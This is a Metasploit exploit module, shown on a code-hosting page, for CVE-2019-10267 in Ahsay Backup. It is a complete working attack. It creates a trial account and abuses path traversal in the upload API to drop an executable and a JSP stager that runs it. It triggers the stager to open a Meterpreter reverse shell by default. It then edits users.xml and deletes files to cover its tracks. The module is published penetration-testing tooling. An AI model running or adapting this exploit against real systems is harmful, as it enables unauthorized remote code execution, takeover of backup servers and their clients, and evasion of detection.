Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/ahsay_backup_fileupload.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include REXML
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
18
'Description' => %q{
19
This module exploits an authenticated insecure file upload and code
20
execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
21
the upload credentials are needed, default on Ahsay Backup trial
22
accounts are enabled so an account can be created.
23
24
It can be exploited in Windows and Linux environments to get remote code
25
execution (usualy as SYSTEM). This module has been tested successfully
26
on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
27
flaw all connected clients can be configured to execute a command before
28
the backup starts. Allowing an attacker to takeover even more systems
29
and make it rain shells!
30
31
Setting the CREATEACCOUNT to true will create a new account, this is
32
enabled by default.
33
If credeantials are known enter these and run the exploit.
34
},
35
'Author' => [
36
'Wietse Boonstra'
37
],
38
'License' => MSF_LICENSE,
39
'References' => [
40
[ 'CVE', '2019-10267'],
41
[ 'URL', 'https://www.wbsec.nl/ahsay/' ],
42
[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
43
],
44
'Privileged' => true,
45
'Platform' => 'win',
46
'DefaultOptions' => {
47
'RPORT' => 443,
48
'SSL' => true,
49
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
50
},
51
'Targets' => [
52
[
53
'Windows x86',
54
{
55
'Arch' => ARCH_X86,
56
'Platform' => 'win'
57
}
58
],
59
[
60
'Linux x86', # should work but untested
61
{
62
'Arch' => ARCH_X86,
63
'Platform' => 'linux'
64
},
65
],
66
67
],
68
'DefaultTarget' => 0,
69
'DisclosureDate' => '2019-06-01',
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
78
register_options(
79
[
80
Opt::RPORT(443),
81
OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
82
OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
83
OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("", "!$%^&*")]),
84
OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
85
OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
86
87
]
88
)
89
end
90
91
def is_trial_enabled?
92
res = send_request_cgi({
93
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'isTrialEnabled'),
94
'method' => 'POST',
95
'data' => ''
96
})
97
if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
98
return true
99
else
100
return false
101
end
102
end
103
104
def check_account?
105
headers = create_request_headers
106
res = send_request_cgi({
107
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'getUserProfile'),
108
'method' => 'POST',
109
'data' => '',
110
'headers' => headers
111
})
112
if res and res.code == 200
113
print_good("Username and password are valid!")
114
return true
115
elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
116
# fail_with(Failure::NoAccess, 'Username incorrect!')
117
print_status("Username does not exist.")
118
return false
119
elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
120
# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
121
print_status("Username exists but password incorrect!")
122
return false
123
else
124
return false
125
end
126
end
127
128
def create_request_headers
129
headers = {}
130
username = Rex::Text.encode_base64(datastore['USERNAME'])
131
password = Rex::Text.encode_base64(datastore['PASSWORD'])
132
headers['X-RSW-custom-encode-username'] = username
133
headers['X-RSW-custom-encode-password'] = password
134
headers
135
end
136
137
def exploit
138
username = datastore['USERNAME']
139
password = datastore['PASSWORD']
140
141
if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
142
if username == "" or password == ""
143
fail_with(Failure::NoAccess, 'Please set a username and password')
144
else
145
# check if account does not exist?
146
if !check_account?
147
# Create account and check if it is valid
148
if create_account?
149
drop_and_execute()
150
else
151
fail_with(Failure::NoAccess, 'Failed to authenticate')
152
end
153
else
154
# Need to fix, check if account exist
155
print_good("No need to create account, already exists!")
156
drop_and_execute()
157
end
158
end
159
elsif username != "" and password != ""
160
if check_account?
161
drop_and_execute()
162
else
163
if is_trial_enabled?
164
fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
165
end
166
fail_with(Failure::NoAccess, 'Username and password are invalid')
167
end
168
else
169
fail_with(Failure::UnexpectedReply, 'Missing some settings')
170
end
171
end
172
173
def create_account?
174
headers = create_request_headers
175
res = send_request_cgi({
176
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'addTrialUser'),
177
'method' => 'POST',
178
'data' => '',
179
'headers' => headers
180
})
181
# print (res.body)
182
if res and res.code == 200
183
print_good("Account created")
184
return true
185
elsif res.body.include?('LOGIN_NAME_IS_USED')
186
fail_with(Failure::NoAccess, 'Username is in use!')
187
elsif res.body.include?('PWD_COMPLEXITY_FAILURE')
188
fail_with(Failure::NoAccess, 'Password not complex enough')
189
else
190
fail_with(Failure::UnexpectedReply, 'Something went wrong!')
191
end
192
end
193
194
def remove_account
195
if datastore['CREATEACCOUNT']
196
username = datastore['USERNAME']
197
users_xml = "../../conf/users.xml"
198
print_status("Looking for account #{username} in #{users_xml}")
199
xml_doc = download(users_xml)
200
xmldoc = Document.new(xml_doc)
201
el = 0
202
xmldoc.elements.each("Setting/Key") do |e|
203
el = el + 1
204
e.elements.each("Value") do |a|
205
if a.attributes["name"].include?('name')
206
if a.attributes["data"].include?(username)
207
print_good("Found account")
208
xmldoc.root.elements.delete el
209
print_status("Removed account")
210
end
211
end
212
end
213
end
214
new_xml = xmldoc.root
215
print_status("Uploading new #{users_xml} file")
216
upload(users_xml, new_xml.to_s)
217
print_good("Account is inaccesible when service restarts!")
218
end
219
end
220
221
def prepare_path(path)
222
if path.end_with? '/'
223
path = path.chomp('/')
224
end
225
path
226
end
227
228
def drop_and_execute()
229
path = prepare_path(datastore['UPLOADPATH'])
230
exploitpath = path.gsub("../../webapps/cbs/", '')
231
exploitpath = exploitpath.gsub("/", "\\\\\\")
232
requestpath = path.gsub("../../webapps/", '')
233
234
# First stage payload creation and upload
235
exe = payload.encoded_exe
236
exe_filename = Rex::Text.rand_text_alpha(10)
237
exefileLocation = "#{path}/#{exe_filename}.exe"
238
print_status("Uploading first stage payload.")
239
upload(exefileLocation, exe)
240
# ../../webapps/cbs/help/en
241
exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}
242
243
# Second stage payload creation and upload
244
jsp_filename = Rex::Text.rand_text_alpha(10)
245
jspfileLocation = "#{path}/#{jsp_filename}.jsp"
246
print_status("Uploading second stage payload.")
247
upload(jspfileLocation, exec)
248
proto = ssl ? 'https' : 'http'
249
url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")
250
251
# Triggering the exploit
252
print_status("Triggering exploit! #{url}")
253
res = send_request_cgi({
254
'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
255
'method' => 'GET'
256
})
257
if res and res.code == 200
258
print_good("Exploit executed!")
259
end
260
261
# Cleaning up
262
print_status("Cleaning up after our selfs.")
263
remove_account
264
print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
265
delete(exefileLocation)
266
delete(jspfileLocation)
267
delete("../../user/#{datastore['USERNAME']}", true)
268
end
269
270
def upload(fileLocation, content)
271
username = Rex::Text.encode_base64(datastore['USERNAME'])
272
password = Rex::Text.encode_base64(datastore['PASSWORD'])
273
uploadPath = Rex::Text.encode_base64(fileLocation)
274
275
headers = {}
276
headers['X-RSW-Request-0'] = username
277
headers['X-RSW-Request-1'] = password
278
headers['X-RSW-custom-encode-path'] = uploadPath
279
res = send_request_raw({
280
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'upload'),
281
'method' => 'PUT',
282
'headers' => headers,
283
'data' => content,
284
'timeout' => 20
285
})
286
if res && res.code == 201
287
print_good("Succesfully uploaded file to #{fileLocation}")
288
else
289
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
290
end
291
end
292
293
def download(fileLocation)
294
# TODO make vars_get variable
295
print_status("Downloading file")
296
username = Rex::Text.encode_base64(datastore['USERNAME'])
297
password = Rex::Text.encode_base64(datastore['PASSWORD'])
298
headers = {}
299
headers['X-RSW-Request-0'] = username
300
headers['X-RSW-Request-1'] = password
301
res = send_request_cgi({
302
# /obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml
303
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'download'),
304
'method' => 'GET',
305
'headers' => headers,
306
'vars_get' => {
307
'X-RSW-custom-encode-path' => fileLocation
308
}
309
})
310
311
if res and res.code == 200
312
res.body
313
end
314
end
315
316
def delete(fileLocation, recursive = false)
317
print_status("Deleting file #{fileLocation}")
318
username = Rex::Text.encode_base64(datastore['USERNAME'])
319
password = Rex::Text.encode_base64(datastore['PASSWORD'])
320
headers = {}
321
headers['X-RSW-Request-0'] = username
322
headers['X-RSW-Request-1'] = password
323
res = send_request_cgi({
324
# /obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz
325
'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'delete'),
326
'method' => 'DELETE',
327
'headers' => headers,
328
'vars_get' => {
329
'X-RSW-custom-encode-path' => fileLocation,
330
'recursive' => recursive
331
}
332
})
333
334
if res and res.code == 200
335
res.body
336
end
337
end
338
339
def check
340
# We need a cookie first
341
cookie_res = send_request_cgi({
342
# /cbs/system/ShowDownload.do
343
'uri' => normalize_uri(target_uri.path, 'cbs', 'system', 'ShowDownload.do'),
344
'method' => 'GET'
345
})
346
347
if cookie_res and cookie_res.code == 200
348
cookie = cookie_res.get_cookies.split()[0]
349
else
350
return Exploit::CheckCode::Unknown
351
end
352
353
if defined?(cookie)
354
# request the page with all the clientside software links.
355
headers = {}
356
headers['Cookie'] = cookie
357
link = send_request_cgi({
358
# /cbs/system/ShowDownload.do
359
'uri' => normalize_uri(target_uri.path, 'cbs', 'system', 'download', 'indexTab1.jsp'),
360
'method' => 'GET',
361
'headers' => headers
362
})
363
364
if link and link.code == 200
365
link.body.each_line do |line|
366
# looking for the link that contains obm-linux and ends with .sh
367
if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
368
filename = line.split("<a")[1].split('"')[1].split("?")[0]
369
filecontent = send_request_cgi({
370
# /cbs/system/ShowDownload.do
371
'uri' => normalize_uri(target_uri.path, filename),
372
'method' => 'GET',
373
'headers' => headers
374
})
375
if filecontent and filecontent.code == 200
376
filecontent.body.each_line do |l|
377
if l.include? 'VERSION="'
378
number = l.split("=")[1].split('"')[1]
379
if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
380
if number <= '8.1.1.50' and not number < '7'
381
return Exploit::CheckCode::Appears
382
else
383
return Exploit::CheckCode::Safe
384
end
385
end
386
end
387
end
388
else
389
return Exploit::CheckCode::Unknown
390
end
391
end
392
end
393
else
394
return Exploit::CheckCode::Unknown
395
end
396
else
397
return Exploit::CheckCode::Unknown
398
end
399
end
400
end
401
402